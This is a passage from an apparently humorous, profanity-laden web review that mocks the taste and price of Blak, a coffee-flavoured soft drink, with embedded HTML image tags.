things you've done with your lover under the cover of an umbrella in Europe? I have no such memories for Coffee. I fucking hate it. I should've known by the label that I was buying into some seriously disgusting shit. Since when did "Fusion" become the new word for "THERE IS COFFEE IN ME, NOT THE DELICIOUS ICE CREAM KIND EITHER?" And when did it become a viable excuse to sell shit in 8oz bottles for almost double the price? You're not winning any points here, Blak. You're being a real shithead, and I'm growing tired of you already. <center><img src="http://slowchildren.sabatos.net/blak/blak3.jpg"></center> See my eyebrow? It's actually trying to escape from my head and get as far the fuck away from this overpriced pisswater as possible. At first, the taste isn't so bad, but then you remember that it's supposed to be Coffee flavored. Bile should never be mixed with Coffee, it's like pouring salt in someone's asshole. <center